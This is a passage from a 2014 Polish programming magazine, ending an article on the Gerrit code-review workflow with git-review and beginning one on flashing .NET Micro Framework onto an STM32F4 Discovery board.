Change-Id: I671047556b6ddecbc76f99b0af5a342fbe20c0a3
Analizując ten hash, Gerrit jest w stanie stwierdzić, czy przyporządkować
przesyłanej zmianie nowy numer, czy też użyć już istniejącego.
Wielokrotne poprawki
Dlaczego Gerrit nie może po prostu używać Commit Id do rozpoznawania
zmian? Załóżmy, że wgrana przez nas zmiana nie została zatwierdzona przy
przeglądzie kodu, lub serwer ciągłej integracji zgłosił, że nie wszystkie testy
wykonały się poprawnie. Należy poprawić kod, ale nie chcemy wykonywać
kolejnego commita tylko w tym celu.
Przy pracy z Gerritem możemy wprowadzić pożądane poprawki oraz bez
przeszkód zmienić istniejący commit komendą
git commit --amend (#4).
Należy przy tym pamiętać, aby w jego opisie nie zmienić przyporządkowa-
nego Change-Id. Właśnie to pozwoli Gerritowi przy ponownym przesyłaniu
poprawionego commita (#5) na jego poprawne rozpoznanie i przypisanie
do tej samej zmiany (Commit Id zmienia się przy wykonywaniu
git commit
--amend, ponieważ Git uznaje go jako zupełnie inny commit).
reklama
44
/ 6
. 2014 . (25) /
TESTOWANIE I ZARZĄDZANIE JAKOŚCIĄ
Przy przesyłaniu zmodyfikowanych commitów, zachowując ich Change-Id,
Gerrit tworzy historię modyfikacji kodu danej zmiany. Każda z nich nazywana
jest kolejnym patchsetem. Po zatwierdzeniu danej zmiany może ona zostać
wdrożona do docelowej gałęzi kodu (#6). Tylko ostatni patchset jest dołącza-
ny do historii commitów w gałęzi repozytorium Git, dzięki czemu historia nie
jest zaśmiecana poprawkami.
Praca nad większymi zadaniami
Czasem zadanie do wykonania nie jest na tyle proste i małe, by wszystkie
potrzebne modyfikacje zawrzeć w jednym commicie. W dodatku zmiany nie
powinny być zbyt duże, aby mogły być dokładnie przeglądnięte.
Gerrit umożliwia stworzenie topic-branchy w poczekalni. Kilka powiąza-
nych ze sobą zmian z różnymi Change-Id może być powiązane w pracę nad
jednym zadaniem dzięki możliwości ustawienia ich tematu (topic). Kod należy
przesłać do gałęzi refs/for/master/TOPIC, co oznacza, że zmiany czekają tam na
dołączenie do gałęzi master repozytorium, a praca w nich wykonana dotyczy
tematu TOPIC. Gerrit umożliwi wtedy wyświetlenie tych zmian jedna po dru-
giej w interfejsie użytkownika.
Jeżeli nasza praca składa się z kilku commitów, a reviewer ma uwagi do
pierwszej z nich – co możemy zrobić? Czy trzeba wykonać kolejną zmianę w
odpowiedzi na te uwagi? Oczywiście, że nie. Git umożliwia modyfikację do-
wolnego commita – nie tylko ostatniego. W tym przypadku zamiast komendy
git commit --amend należy skorzystać z git rebase --interactive,
która pozwoli na edycję dowolnego commita z historii zmian.
Wykonywanie przeglądów
Po przesłaniu zmiany do Gerrita, autor kodu powinien ustawić dla niej, kto
ma wykonać przegląd kodu. Reviewer zostanie powiadomiony wiadomością
e-mail o kolejnej zmianie czekającej na jego sprawdzenie.
Przegląd można wykonywać w przeglądarce internetowej na przejrzy-
stym ekranie podzielonym na dwie części – po lewej kod przed zmianami,
a po prawej - kod po zmianach (zob. Rysunek 4). Jeżeli zostaną zauważone
jakieś defekty lub niezrozumiałe fragmenty kodu, recenzent może dodać ko-
mentarz tekstowy do wybranej linii poprzez jej podwójne kliknięcie. Uwagi
można także dodawać do wybranego fragmentu kodu, zaznaczając go przed
dwuklikiem, oraz do całego pliku, używając odpowiedniego przycisku na sa-
mej górze ekranu.
Przeglądy kodu za pomocą Gerrita można wykonywać także w IDE (np.
Eclipse), sprawdzając od razu, czy kod działa tak jak powinien.
Po wprowadzeniu wszystkich uwag do danej zmiany powinny one zostać
opublikowane. Autor kodu zostanie powiadomiony o pozytywnym lub nega-
tywnym wyniku przeglądu swojego kodu.
Wracając do patchsetów – warto zauważyć, że jeśli reviewer znalazł błędy
w patchsecie 3, autor kodu powinien je poprawić, tworząc patchset 4. Następ-
nie reviewer przegląda tylko różnice między oboma i sprawdza, czy zlecona
praca została wykonana. To eliminuje wadę pull requestów opisaną wcześniej
w tym artykule.
Rysunek 4. Ekran pozwalający na przeglądanie kodu w Gerrit
Flagowanie zmian
Zatwierdzanie kodu danej zmiany w Gerricie odbywa się za pomocą flag.
Standardowo istnieją dwie flagi – Verified oznaczająca, że kod się kompilu-
je i testy automatyczne dają pozytywny rezultat (oczywiście, może ona być
przyznawana automatycznie przez serwer CI), oraz CodeReview, oznaczająca
wynik przeprowadzonego przeglądu kodu. Typy flag można dowolnie defi-
niować (np. można dodać nową flagę LeaderVerified, która będzie oznaczać,
że oprócz weryfikacji CR przez dowolnego programistę, kod zatwierdził także
team leader). Każda nowa zmiana ma początkowo wartości wszystkich flag
równe 0. Jeśli zmiana przejdzie pozytywnie przegląd kodu – otrzymuje flagę
CodeReview równą +1 lub +2 (w zależności od przyjętej polityki – np. w pro-
jektach open source stosuje się czasem zasadę, że 3 flagi o wartości +1 dla
CodeReview oznaczają, że kod jest sprawdzony, i ustawia się wtedy flagę CR na
+2). Jeśli nie – zmiana otrzymuje flagę CR o wartości -1 lub -2. Jeżeli serwer CI
nie wykryje błędów w kodzie – przyznaje flagę Verified +1 albo -1 w przeciw-
nym razie. Podobnie z pozostałymi flagami.
Zmiana może być dołączona do kodu produkcyjnego wyłącznie, gdy
wszystkie flagi dla zmiany mają przyznane najwyższe możliwe wartości.
JAK ZACZĄĆ?
Aplikację Gerrit w postaci pliku WAR można pobrać ze strony projektu. Do jej
działania konieczne jest stworzenie bazy danych, w której przechowywane
będą informacje o zmianach i wykonanych przeglądach kodu (w chwili pisa-
nia artykułu wspierane są bazy danych H2, MySQL oraz PostgreSQL). Ponadto
wymagana jest Java w wersji 1.7 oraz Git.
Gdy powyższe warunki są spełnione, wystarczy wykonać komendę:
java -jar gerrit.war init -d /path/to/your/gerrit_application_directory
aby zainstalować Gerrita w wybranym katalogu. W trakcie instalacji będzie
trzeba odpowiedzieć na zadawane przez aplikację pytania, m.in. o użytkowni-
ka i hasło do bazy danych, konfigurację serwera SMTP, porty, na których apli-
kacja ma nasłuchiwać połączeń itp. Po instalacji należy uruchomić aplikację,
wykonując komendę:
/path/to/your/gerrit_application_directory/bin/gerrit.sh start
Link do szczegółowych instrukcji instalacji znajduje się na końcu artykułu.
Gerrit powinien być uruchomiony na maszynie dostępnej dla wszystkich
developerów z zespołu, aby możliwe było przesyłanie do niej zmian.
Po zalogowaniu do aplikacji, z poziomu interfejsu użytkownika należy
stworzyć nowy projekt (zakładka Projects / Create new project). Repozytorium
Git dla projektu zostanie stworzone automatycznie.
Git review
Ciekawym narzędziem upraszczającym korzystanie z Gerrita na maszynach de-
veloperów jest git review. Wzbogaca ono Git o nową komendę
review, która
skraca komendy konieczne do wpisywania przy pracy z Gerritem (jak napisano
wcześniej – do komunikacji z aplikacją w zupełności wystarcza Git, jest to jednak
czasem mało wygodne). Do jej działania wymagany jest Python oraz pip do zarzą-
dzania zależnościami. Aby zainstalować git review, wystarczy wykonać komendę:
pip install git-review
Następnie w głównym katalogu projektu należy stworzyć plik .gitreview, który
przekaże narzędziu informacje o instancji Gerrita, z którego ma korzystać, np.:
[gerrit]
host=gerrit.projekt.pl
project=projekt
46
/ 6
. 2014 . (25) /
TESTOWANIE I ZARZĄDZANIE JAKOŚCIĄ
Kolejno w tym samym katalogu należy wykonać komendę inicjalizującą
dodatkowe ustawienia (między innymi stworzenie odpowiedniego remote
dla Gerrita oraz pobranie Change-Id hook).
git review --setup
Change-Id hook
Jak opisano wcześniej, do generowania Change-Id używany jest hook dla re-
pozytorium Git, który dodaje identyfikator zmiany przy tworzeniu commita.
Jeśli projekt nie został zainicjalizowany narzędziem git review, należy go po-
brać manualnie, kopiując go z działającej instancji Gerrita komendą wykona-
ną w katalogu głównym projektu:
scp -p -P 29418 gerrit.projekt.pl:hooks/commit-msg .git/hooks/
PRZYKŁADOWY DZIEŃ Z GERRITEM
Żeby lepiej zobrazować, jak wygląda praca z Gerritem, wcielmy się w progra-
mistę, który ma do wykonania dwa zadania, oraz reviewera, który stworzony
kod zatwierdzi.
W naszym systemie do śledzenia zgłoszeń zadania do wykonania posiada-
ją identyfikatory BUG-123 oraz ISS-456. Zajmiemy się najpierw bugiem:
$ git status
On branch master
$ git pull
Already up-to-date.
$ git checkout -b BUG-123
Switched to a new branch 'BUG-123'
Na początku upewniamy się, że mamy najnowsze zmiany w kodzie produk-
cyjnym (miejsce, od którego zaczniemy naszą pracę). Następnie tworzony jest
nowy topic-branch o nazwie zadania, nad którym będziemy pracować.
Wykonujemy nasze modyfikacje w kodzie i commitujemy je, aby naprawić
błąd w aplikacji.
$ git add .
$ git commit -m "[BUG-123] Fixed this nasty error"
[BUG-123 24b61b4] [BUG-123] Fixed this nasty error
3 files changed, 34 insertions(+), 25 deletions(-)
Dlaczego nie podaliśmy Change-Id? Ponieważ powinien on wygenerować się
sam – sprawdźmy:
$ git log --max-count 1
commit 54d942d49a6177925d686dd17481338ac8bdcef6
Author: fracz fracz@iisg.agh.edu.pl
Date: Fri May 9 10:33:31 2014 +0200
[BUG-123] Fixed this nasty error
Change-Id: I06eb7ca361bf51054ce14a48c9f2ba7488f8fac3
Chnage-Id jest na miejscu. Jeśli hook nie byłby zainstalowany – commit nie
zawierałby identyfikatora zmiany (o ile nie wpisalibyśmy go z palca), a Gerrit
odrzuciłby przesyłaną zmianę z błędem Missing Change-Id in commit message
footer.
Gdybyśmy nie pracowali z Gerritem, można by przesłać kod komendą
git push do topic-brancha na repozytorium odległym. Gerrit jednak tego
zabrania:
$ git push origin BUG-123
Counting objects: 11, done.
[...]
! [remote rejected] BUG-123 -> BUG-123 (prohibited by Gerrit)
Zapewnia on w ten sposób, że każda nowa zmiana zostanie sprawdzona
przez reviewera (oczywiście, zachowanie to można zmodyfikować, odpo-
wiednio dostosowując uprawnienia do wybranych gałęzi kodu). Jak opisano
wcześniej, należy ją przesłać do poczekalni, czyli gałęzi refs/for/master. Ponie-
waż chcemy dodatkowo przekazać informację o tym, z jakiego topic-brancha
dany commit pochodzi – przesyłamy ją do refs/for/master/BUG-123.
Mając powyższą wiedzę, możemy przesłać więc kod do Gerrita, używając
czysto gitowej komendy:
$ git push origin HEAD:refs/for/master/BUG-123
[...]
remote: New Changes:
remote: http://gerrit.projekt.pl:8080/2050
* [new branch] HEAD -> refs/for/master/BUG-123
Komenda jest długa i nieprzyjemna. Z pomocą przychodzi narzędzie git re-
view, które potrafi wykonać to samo zadanie, wpisując po prostu:
$ git review
[...]
remote: New Changes:
remote: http://gerrit.projekt.pl:8080/2050
* [new branch] HEAD -> refs/for/master/BUG-123
Praca nad zadaniem skończona. Z wyniku działania komendy można odczy-
tać, że nowa zmiana otrzymała Change number równy 2050 (ostatnia liczba w
adresie URL, pod którym można zobaczyć zmianę). Należy także zauważyć, że
zmiana została automatycznie przesłana do topic-brancha na Gerricie o nazwie
równej nazwie gałęzi w repozytorium lokalnym. Jeśli to działanie jest niepożą-
dane, należy przesłać kod do Gerrita komendą
git review –t TOPIC.
Zabierzmy się teraz za 2-gie zadanie. Zaczynamy – jak zawsze – od gałęzi master:
$ git checkout master
Switched to branch 'master'
$ git pull
Already up-to-date.
$ git checkout -b ISS-456
Switched to a new branch 'ISS-456'
I po wykonaniu wszystkich koniecznych zmian implementacyjnych wysyłamy
je do Gerrita:
$ git add .
$ git commit -m "[ISS-456] Add this cool feature"
[...]
$ git review
[...]
remote: New Changes:
remote: http://gerrit.projekt.pl:8080/2051
* [new branch] HEAD -> refs/for/master/ISS-456
Zmiana otrzymała kolejny Change number – 2051.
Od strony reviewera
Mając kod do sprawdzenia, zaczynamy od odwiedzenia Gerrita w przeglądar-
ce internetowej i sprawdzenia listy zmian czekających na nasze zatwierdzenie.
Oczywiście – samo sprawdzenie czytelności kodu nie wystarczy – w ramach
przeglądu należy go zazwyczaj pobrać i sprawdzić, czy działa. Do tego celu na
stronie zmiany Gerrit udostępnia gotowe komendy pobierające daną zmianę
za pomocą
git fetch lub git pull. Kopiując je do schowka i wklejając do
konsoli, możemy w prosty sposób pobrać zmieniony kod. Jeśli jednak uży-
wamy narzędzia git review, wystarczy wykonać komendę
git review -d
NUMER_ZMIANY, aby uzyskać wprowadzone zmiany lokalnie:
$ git review -d 2050
Downloading refs/changes/50/2050/1 from gerrit
Switched to branch "review/wojciech_fracz/BUG-123"
W naszym przypadku reviewer pobiera zmianę dotyczącą buga i stwierdza,
że kod nadal nie poprawia nieprawidłowego działania programu, odrzucając
zmianę (ustawiając flagę CodeReview na -1).
47
/ www.programistamag.pl /
GERRIT CODE REVIEW
Następnie pobiera on zmianę dotyczącą implementacji nowej funkcjo-
nalności komendą git review -d 2051. Implementacja nie zawiera błędów i
aplikacja działa prawidłowo. Wobec tego zmiana zostaje zatwierdzona i dołą-
czona do gałęzi master poprzez wykonanie operacji submit w Gerricie.
Wracając do developera
Autor kodu musi poprawić swoją zmianę dotyczącą buga. Do dzieła:
$ git review -d 2050
Downloading refs/changes/50/2050/1 from gerrit
Switched to branch "review/wojciech_fracz/BUG-123"
// poprawienie kodu
$ git add .
$ git commit –amend
[...]
Niedociągnięcia zostały poprawione. Warto zauważyć, że do pobrania kodu z
Gerrita developer używa tej samej komendy co reviewer.
Przed przesłaniem zmian do Gerrita dobrze byłoby upewnić się, czy nasza
zmiana jest aktualna ze zmianami w gałęzi, do której chcemy dołączyć nasz
kod. Nie jest to wymagane, aczkolwiek im częściej upewniamy się, że nasz
kod jest odpowiedni dla aktualnej postaci aplikacji - tym lepiej. Im wcześniej
pojawią się ewentualne konflikty, tym łatwiej będzie je rozwiązać:
$ git checkout master
Switched to branch 'master'
$ git pull
From ssh://gerrit.projekt.pl:29418/projekt
54d942d..f442c41 master -> origin/master
Updating 54d942d..f442c41
Fast-forward
[...]
Są zmiany – musimy więc uwzględnić je we wprowadzonych przez nas w ko-
dzie modyfikacjach. Z pomocą przychodzi tutaj komenda
git rebase.
$ git checkout BUG-123
Switched to branch BUG-123
$ git rebase master
First, rewinding head to replay your work on top of it...
Applying: [BUG-123] Fixed this nasty error
W trakcie
rebase mogą pojawić się konflikty, które trzeba będzie rozwiązać,
aby Gerrit mógł później dołączyć zaakceptowany kod do docelowej gałęzi.
Czy trzeba o tym pamiętać? Na szczęście – nie. Warto wiedzieć, że te ope-
racje się wykonują, ale wszystkie powyższe możemy zastąpić jedną komendą
git review, która oprócz przesyłania kodu do Gerrita także przed przesłaniem
sprawdza, czy jest on aktualny, i wykonuje
rebase, jeśli jest taka potrzeba. Je-
dynym więc, co musi zrobić developer po poprawieniu swojej zmiany, jest ta
sama komenda, która była użyta do przesłania zmiany za pierwszym razem:
$ git review
Reviewer zostaje powiadomiony o nowym patchset do zmiany, którą oceniał.
Tym razem wszystko wydaje się być w porządku i patchset 2 trafia do gałę-
zi master. Zostaje dołączony bez żadnych problemów, ponieważ kod został
wcześniej zaktualizowany (zrebasowany) do najnowszych zmian w systemie.
CZY TO WSZYSTKO?
Gerrit, poza narzuceniem przebiegu pracy wymuszającego przeprowadza-
nie przeglądów kodu, ma też wiele innych funkcjonalności. Jak można było
zobaczyć w przykładowym przypadku użycia, Gerrit kontroluje dostęp do
repozytoriów gitowych, pozwalając lub zabraniając na wykonanie danych ak-
cji. Możliwe jest łatwe ustalenie, do których gałęzi kodu commity mogą być
przesyłane bezpośrednio, w której gałęzi mogą być dodawane tagi i przez
kogo. Jedna instancja Gerrita może kontrolować wiele projektów. Użytkow-
nicy mogą być łączeni w grupy, którym można przypisać różne uprawnienia
do różnych repozytoriów. Gerrit może być więc używany jako system kontroli
uprawnień do repozytorium, nawet jeśli nie przeprowadza się w danym ze-
spole przeglądów kodu.
Aplikację można łatwo integrować z istniejącymi systemami śledzenia za-
dań takich jak JIRA czy Bugzilla. Jej zachowanie można dostosować do swoich
potrzeb przy użyciu pluginów.
Co ważne – narzędzie jest aktywnie rozwijane, a jego społeczność jest co-
raz większa.
Podsumowanie
Gerrit może być używany zarówno w rozproszonych zespołach, jak i tych prze-
bywających w jednym pomieszczeniu. Zaproponowany przez niego przebieg
pracy w naturalny sposób wprowadza wymierne efekty przeglądów kodu w
życie. Żaden fragment kodu nie zostanie dodany do systemu bez jego pozy-
tywnej weryfikacji, co znacząco wpłynie na jego jakość. Warto zainteresować
się tym narzędziem, gdyż podnosi ono komfort pracy, stopień zadowolenia
pracowników i niezawodność wytwarzanego oprogramowania.
W sieci
P
https://code.google.com/p/gerrit/
– strona główna aplikacji Gerrit
P
https://gerrit-documentation.storage.googleapis.com/Documentation/2.8/install.html
– instrukcja instalacji Gerrita
P
https://gerrit-review.googlesource.com/#/admin/projects/?filter=plugins%252F
– lista dostępnych, oficjalnych pluginów do Gerrita
P
http://www.mediawiki.org/wiki/Gerrit/git-review
– instrukcja instalacji narzędzia git review
P
http://nvie.com/posts/a-successful-git-branching-model/
– opis klasycznego git workflow
P
https://help.github.com/articles/interactive-rebase
– opis komendy git rebase - -interactive
Wojciech Frącz
Stażysta w Katedrze Informatyki Akademii Górniczno-Hutnicznej w Krakowie. Czynnie udzie-
la się w projektach realizowanych na uczelni, programując w językach Java, PHP i Javascript.
W ramach pracy dyplomowej opracował aplikację umożliwiającą wykonywanie code review
na urządzeniach mobilnych.
48
/ 6
. 2014 . (25) /
PROGRAMOWANIE SYSTEMÓW OSADZONYCH
Dawid Borycki
WPROWADZENIE
Platforma .NET Micro Framework, w skrócie NMF, jest zestawem bibliotek i na-
rzędzi do tworzenia oprogramowania wbudowanego w urządzenie (firmwa-
re) z wykorzystaniem języka C# oraz metod i obiektów analogicznych do zna-
nych z pełnej wersji platformy .NET. NMF została zoptymalizowana pod kątem
jej wykorzystania na małych urządzeniach elektronicznych, które posiadają
ograniczone zasoby sprzętowe, takie jak pamięć czy częstotliwość taktowania
procesora oraz stosunkowo małe rozmiary.
W pierwszej części artykułu (Programista 4/2014) omówiliśmy różne aspek-
ty programowania urządzeń wbudowanych z wykorzystaniem biblioteki NMF,
a mianowicie tworzenie graficznego interfejsu użytkownika, obsługi przycisków,
panelu dotykowego, a także tworzenie serwisów sieciowych. Wszystkie omó-
wione aspekty były prezentowane z wykorzystaniem emulatora urządzenia
wbudowanego, dostarczanego z tą biblioteką. W tym artykule przygotujemy
firmware dla rzeczywistego urządzenia elektronicznego. Podobnie jak poprzed-
nio będziemy wykorzystywali środowisko programistyczne Visual Studio 2012.
Na rynku dostępnych jest kilka urządzeń wspierających platformę
.NET Micro Framework. Są nimi produkty firm Secret Labs Netduino, GHI
Electronics, Mountaineer Boards czy STMicroelectronics (STM). W tym
artykule zdecydowaliśmy się wykorzystać płytkę STM32F4 Discovery
(
http://www.st.com/web/catalog/tools/FM116/SC959/SS1532/PF252419
). Ten
zestaw uruchomieniowy (Rysunek 1) jest łatwo dostępny oraz stosunkowo
niedrogi. Oficjalna cena na stronach producenta wynosi niecałe piętnaście
dolarów. W popularnych polskich sklepach internetowych dla elektroników
STM32F4 Discovery kosztuje w granicach dziewięćdziesięciu złotych. Dodatko-
wo, urządzenie to nie wymaga programatora, a jedynie dwa kable USB: typu A
do mini-B oraz A do micro-B. Pierwszy z nich to typowy kabel łączący przenośny
dysk HDD 2.5 cala z komputerem i jest wykorzystywany do programowania mi-
krokontrolera oraz dostarcza zasilanie. Drugi to typowy kabel wykorzystywany
do połączenia telefonu z komputerem i w tym artykule posłuży do wgrania pro-
gramu rozruchowego NMF oraz sterującego mikrokontrolerem.
Sercem zestawu STM32F4 Discovery jest mikrokontroler STM32F407VGT6,
goszczący mikroprocesor ARM Cortex-4. Ten ostatni charakteryzuje się sto-
sunkowo niskim zużyciem energii oraz dużą wydajnością. Mikrokontroler
STM32F407VGT6 jest dodatkowo wyposażony w 1MB pamięci nieulotnej
(FLASH) oraz 192KB pamięci typu RAM.
Producent zestawu uruchomieniowego STM32F4 Discovery oddaje do
dyspozycji użytkownika cztery diody LED, znajdujące się pomiędzy przyciska-
mi User (niebieski) oraz Reset (czarny). Diody te oznaczone symbolami LD3-
-LD6 świecą w kolorach pomarańczowym (LD3), zielonym (LD4), czerwonym
(LD5) oraz niebieskim (LD6).
Płytka STM32F4 Discovery posiada również dwa układy mikromechanicz-
ne (MEMS). Pierwszy to cyfrowy akcelerometr, a drugi to cyfrowy mikrofon do-
okólny. W skład zestawu wchodzi dodatkowo przetwornik analogowo-cyfro-
wy audio ze zintegrowanym sterownikiem głośnika. Dźwiękowe urządzenie
wyjścia, takie jak głośnik lub słuchawki można podłączyć za pomocą złącza
mini jack, znajdującego się pod przyciskiem User.
Po podłączeniu płytki do źródła zasilania za pomocą kabla USB typu A
do mini-B zostanie uruchomiony domyślny program sterujący mikrokontro-
lerem. Steruje on diodami LD3-LD6, a także reaguje na sygnały generowane
przez akcelerometr. Po wciśnięciu przycisku User zmianom położenia i przy-
spieszenia płytki w przestrzeni odpowiada zmiana stanu odpowiednich diod.
W kolejnych podrozdziałach przedstawimy serię przykładów wykorzy-
stania platformy .NET Micro Framework do sterowania podzespołami płytki
STM32F4 Discovery.
Rysunek 1. Zestaw uruchomieniowy STM32F4 Discovery. Diody LED oddane
do dyspozycji użytkownika znajdują się pomiędzy niebieskim (User) a czarnym
przyciskiem (Reset). Wersja płytki jest nadrukowana w jej prawym górnym rogu.
Ilustracja przedstawia płytkę w wersji A (symbol MB997A)
Biblioteka .NET Micro Framework.
Programowanie firmware dla urzą-
dzenia STM32F4 Discovery
Platforma .NET Framework jest szeroko wykorzystywana do programowania apli-
kacji desktopowych, internetowych oraz mobilnych. Ponadto najmniejsza wersja tej
biblioteki, czyli .NET Micro Framework (NMF), umożliwia programowanie systemów
i urządzeń wbudowanych, czyli obszaru zarezerwowanego do niedawna wyłącznie dla
natywnych technologii programistycznych. W drugiej części mini-serii artykułów doty-
czących platformy NMF zaprezentujemy jej przykładowe wykorzystanie na rzeczywi-
stym urządzeniu elektronicznym – zestawie uruchomieniowym STM32F4 Discovery.
49
/ www.programistamag.pl /
PRZETWARZANIE GEOMETRII PRZY POMOCY TRANSFORM FEEDBACK OPENGL 4.3
INSTALACJA PROGRAMU
ROZRUCHOWEGO
Przed przystąpieniem do programowania firmware należy wgrać do mikro-
kontrolera płytki STM32F4 program rozruchowy ze środowiskiem uruchomie-
niowym Tiny CLR, będącym najmniejszą wersją platformy uruchomieniowej
CLR (ang. Common Language Runtime).
W ogólności bibliotekę .NET Micro Framework można skompilować dla
konkretnego mikrokontrolera za pomocą narzędzi .NET Micro Framework
Porting Kit. Do tego celu konieczne jest wcześniejsze przygotowanie sterow-
ników warstw sprzętowych Hardware Abstraction Layer (HAL) oraz Platform
Abstraction Layer (PAL). Warstwy te są zbiorem funkcji C++ (sterowników),
wywoływanych przez CLR, które zależą od charakterystyki sprzętowej danego
mikrokontrolera.
Samodzielne wykorzystanie narzędzi Porting Kit wymaga również użycia
dodatkowych kompilatorów (np. Keil). Z tego powodu w tym artykule pomija-
my to zagadnienie i wykorzystamy jedynie pliki binarne przygotowane przez
firmę Oberon Microsystems dla NMF w wersji 4.2.
Instalację programu rozruchowego dla zestawu uruchomieniowego
STM32F4 Discovery zrealizujemy za pomocą aplikacji STM32 ST-LINK Utility
(
http://www.st.com/web/en/catalog/tools/PF258168#
). Umożliwia ona pro-
gramowanie mikrokontrolerów rodziny STM32.
Poszczególne etapy instalacji programu rozruchowego są następujące:
» Pobieramy, a następnie instalujemy aplikację STM32 ST-LINK Utility.
» Podczas procesu instalacji aplikacji STM32 ST-LINK Utility zostaną zainsta-
lowane sterowniki USB dla płytki STM32 F4 Discovery.
» Podłączamy płytkę STM32F4 Discovery z komputerem za pomocą kabla
USB mini-B i uruchamiamy aplikację STM32 ST-LINK Utility.
» Z menu Target wybieramy opcję Connect. Spowoduje to nawiązanie ko-
munikacji z mikrokontrolerem i odczytanie jego pamięci. Zawartość pa-
mięci zostanie wyświetlona w zakładce Device Memory.
» Deinstalujemy domyślny firmware oraz czyścimy zawartość pamięci
FLASH. W tym celu:
» W menu Target klikamy opcję Erase Chip.
» Następnie, z tego samego menu wybieramy opcję Erase Sectors…
» W oknie Flash Memory Mapping (Rysunek 2) klikamy przycisk z ety-
kietą Select all, a następnie przycisk Apply.
» W aplikacji STM32 ST-LINK Utility pozostawiamy aktywne połącze-
nie z mikrokontrolerem.
Rysunek 2. Widok aplikacji STM32 ST-LINK Utility
» Pobieramy archiwum stm32f4discovery.zip spod adresu
com/Download?ProjectName=netmf4stm32&DownloadId=471396
» Rozpakowujemy pobrane archiwum. W efekcie uzyskamy trzy pliki: Tiny-
Booter.hex, ER_CONFIG.hex oraz ER_FLASH.hex.
» W menu Target aplikacji STM32 ST-LINK Utility klikamy opcję Program &
Verify i wskazujemy plik TinyBooter.hex (Rysunek 3).
Rysunek 3. Instalacja programu rozruchowego
» W oknie Download [Tinybooter.hex] (Rysunek 4) klikamy przycisk z etykietą Start.
Rysunek 4. Instalacja programu rozruchowego
Po pomyślnym zainstalowaniu programu rozruchowego podłączamy płytkę
z komputerem za pomocą drugiego kabla USB typu micro-B. Od tej pory ka-
bel USB typu mini-B służy wyłącznie do zasilania zestawu STM32F4 Discove-
ry, a w systemie pojawi się dodatkowe urządzenie pn. STM32.Net Test. Jest
ono widoczne w menedżerze urządzeń w węźle Inne urządzenia (Rysunek
5). Urządzenie to do poprawnej pracy wymaga sterowników USB. Archiwum
ze sterownikami należy pobrać spod adresu:
Download?ProjectName=netmf4stm32&DownloadId=471395
Rysunek 5. Menedżer urządzeń Windows z zaznaczonym urządzeniem STM32.Net Test
Pobrane archiwum zawiera trzy pliki: STM32F4_WinUSB.inf, WdfCoInstal-
ler01009.dll oraz winusbcoinstaller2.dll. Do instalacji urządzenia STM32.Net
Test w sposób jawny wykorzystamy wyłącznie pierwszy z wymienionych pli-
ków. Poszczególne etapy procesu instalacji sterowników są następujące:
» Przechodzimy do menedżera urządzeń, gdzie klikamy prawym przyci-
skiem myszy urządzenie STM32.Net Test.
» Z menu wybieramy opcję Aktualizuj oprogramowanie sterownika…
» W kreatorze aktualizacji sterowników STM32.Net Test klikamy opcję Prze-
glądaj mój komputer w poszukiwaniu oprogramowania.
» W kolejnym kroku klikamy łącze Pozwól mi wybrać z listy sterowników na
moim komputerze. Spowoduje to wyświetlenie listy urządzeń, gdzie klika-
my przycisk z etykietą Dalej.
50
/ 6
. 2014 . (25) /
PROGRAMOWANIE SYSTEMÓW OSADZONYCH
» W oknie opisanym jako wybierz sterownik, który chcesz zainstalować
dla tego sprzętu klikamy przycisk z etykietą z Dysku i wskazujemy plik
STM32F4_WinUSB.inf.
» Klikamy przycisk z etykietą Dalej i potwierdzamy ostrzeżenie o braku pod-
pisu cyfrowego.
» Zamykamy kreator instalacji sterowników i restartujemy płytkę (za pomo-
cą czarnego przycisku Reset płytki).
W przypadku systemów Windows 8 oraz Windows 8.1 instalacja sterowników
niepodpisanych cyfrowo jest domyślnie zablokowana. W takiej sytuacji przed
instalowaniem sterowników urządzenia STM32.Net Test należy odblokować
tę funkcję. Opis tej procedury znajduje się w ramce.
Instalacja sterowników niepodpisanych cyfrowo
w systemach Windows 8/8.1:
P W pasku bocznym (klawisz Windows + C) klikamy Ustawienia, a na-
stępnie Zmień ustawienia komputera.
P Z listy dostępnych ustawień wybieramy grupę Aktualizacje i odzyski-
wanie, a następnie Odzyskiwanie.
P Po prawej stronie okna wyświetli się lista dostępnych opcji, w której
klikamy przycisk z etykietą Uruchom teraz w sekcji Uruchamianie za-
awansowane. Spowoduje to ponowne uruchomienie systemu.
P System wyświetli listę opcji, z której wybieramy pozycję Rozwiąż pro-
blemy, a następnie Opcje zaawansowane.
P W opcjach zaawansowanych wybieramy element Ustawienia urucha-
miania, po czym klikamy przycisk z etykietą Uruchom ponownie. Spo-
woduje to zrestartowanie systemu.
P Po ponownym uruchomieniu komputera wyświetlona zostanie lista
Ustawienia uruchamiania, w której wybieramy punkt 7 (Wyłącz wymu-
szanie podpisów sterowników).
W ramach podsumowania tego podrozdziału skonfigurujemy firmware oraz
zaktualizujemy pamięć FLASH mikrokontrolera, aby możliwe było jego pro-
gramowanie z wykorzystaniem platformy .NET Micro Framework. W tym
celu uruchamiamy aplikację .NET Micro Framework Deploy Tool (MFDe-
ploy), wchodzącą w skład platformy NMF (instalowaliśmy ją w poprzednim
artykule). Następnie z listy Device wybieramy pozycję USB, a z listy urządzeń
STM32F4 Test_a7e70ea2. Potwierdzamy poprawność instalacji programu roz-
ruchowego i w tym celu klikamy przycisk z etykietą Ping. W odpowiedzi po-
winniśmy uzyskać łańcuch TinyBooter (Rysunek 6).
Ostatni etap instalacji platformy .NET Micro Framework na płytce STM32F4
Discovery polega na wgraniu plików ER_CONFIG.hex oraz ER_FLASH.hex.
W tym celu w aplikacji MFDeploy klikamy przycisk Browse… i wskazujemy oba
te pliki (Rysunek 7), po czym klikamy przycisk z etykietą Deploy.
Rysunek 6. Widok aplikacji MFDeploy z zaznaczonym urządzeniem STM32F4 Test
Rysunek 7. Wgrywanie platformy .NET Micro Framework do pamięci mikrokontrolera
PROGRAMOWANIE STANU DIOD LED
Po pomyślnej instalacji programu rozruchowego i środowiska CLR na płytce
możemy przystąpić do programowania firmware mikrokontrolera. W tym celu:
» Za pomocą Visual Studio 2012 tworzymy nowy projekt MFDiscovery we-
dług szablonu Console Application (Rysunek 8).
Rysunek 8. Kreator projektu aplikacji .NET Micro Framework w Visual Studio 2012
» W menu Project klikamy opcję MFDiscovery Properties…, a następnie:
» W zakładce Application z listy rozwijanej Target framework wybiera-
my opcję .NET Micro Framework 4.2.
» Przechodzimy na zakładkę .NET Micro Framework i w sekcji Deploy-
ment z listy rozwijanej Transport wybieramy opcję USB, a na liście urzą-
dzeń wskazujemy pozycję STM32F4 Test_a7e70ea2 (Rysunek 9).
Rysunek 9. Wskazanie docelowego urządzenia dla implementowanej aplikacji
51
/ www.programistamag.pl /
